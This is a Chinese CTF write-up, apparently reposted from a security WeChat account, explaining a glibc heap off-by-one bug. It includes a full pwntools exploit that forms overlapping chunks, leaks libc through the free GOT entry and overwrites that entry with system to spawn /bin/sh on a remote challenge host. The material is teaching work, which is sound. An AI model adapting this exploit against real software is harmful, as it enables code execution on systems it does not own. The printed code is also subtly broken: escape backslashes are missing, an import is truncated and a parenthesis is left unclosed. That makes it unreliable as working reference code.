简介
产生原因
利用思路
off-by-one overwrite allocated
off-by-one overwrite freed
null byte off-by-one
off-by-one small bin
off-by-one large bin
检查保护
运行查看
程序分析
main函数选择进入不同函数。
create函数:
程序自己创建的0x10大小的heaparray chunk指针保存用户创建的chunk指针和大小。
第19行那里存在off-by-one漏洞,可以溢出一个字节。
可以打印输入的信息,用这个函数打印libc地址等。
先free用户自定义的chunk,再free程序自定义的0x10大小的chunk。
思路与利用:
上面就一个off-by-one的漏洞,因为堆的内存可以复用,那么我们在构造堆时就构造好能够跳过prev_size的堆直接溢出size。
我们申请2个chunk,第一个chunk0大小为0x18(为了使堆的字节不对齐后面复用chunk1的prev_size覆盖chunk1的size),第二个chunk2大小为0x10。
通过off-by-one覆盖chunk1的size导致chunk overlapping能够控制一个chunk的指针,再通过控制的chunk的指针泄露libc地址,得到后libc基址后得到system_got。
再利用前面控制的那个chunk指针覆盖一个got执行system(“/bin/sh”)即可getshell。
create(0x18,"aaaa") #chunk0
create(0x10,"bbbb") #chunk1
edit(0, "/bin/shx00" +"a"*0x10 + "x41")
delete(1)
create(0x30,p64(0)*4 +p64(0x30) + p64(free_got))
show(1)
p.recvuntil("Content : ")
data = p.recvuntil("Done !")
free_addr = u64(data.split("n")[0].ljust(8,"x00"))
libc = free_addr - 0x83940
print "libc:",hex(libc)
system = libc + 0x45390
edit(1,p64(system))
delete(0)
p.interactive()
exp
from pwn import
from LibcSearcher import *
p=remote('node3.buuoj.cn',27304)
def create(size,content):
p.recvuntil(":")
p.sendline("1")
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.sendline(content)
def edit(idx,content):
p.recvuntil(":")
p.sendline("2")
p.recvuntil(":")
p.sendline(str(idx))
p.recvuntil(":")
p.sendline(content)
def show(idx):
p.recvuntil(":")
p.sendline("3")
p.recvuntil(":")
p.sendline(str(idx))
def delete(idx):
p.recvuntil(":")
p.sendline("4")
p.recvuntil(":")
p.sendline(str(idx))
free_got = 0x602018
create(0x18,"aaaa")
create(0x10,"bbbb")
edit(0, "/bin/shx00" +"a"*0x10 + "x41")
delete(1)
create(0x30,p64(0)*4 +p64(0x30) + p64(free_got))
show(1)
p.recvuntil("Content : "
data = p.recvuntil("Done !")
free_addr = u64(data.split("n")[0].ljust(8,"x00"))
libc = free_addr - 0x83940
system = libc + 0x45390
edit(1,p64(system))
delete(0)
p.interactive()
堆题要多调试多构想,希望大佬能够斧正可能存在的错误及不足,谢谢。
https://ctf-wiki.org/pwn/linux/glibc-heap/off_by_one/
本文始发于微信公众号(SecIN技术平台):原创 | 堆的off-by-one利用
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论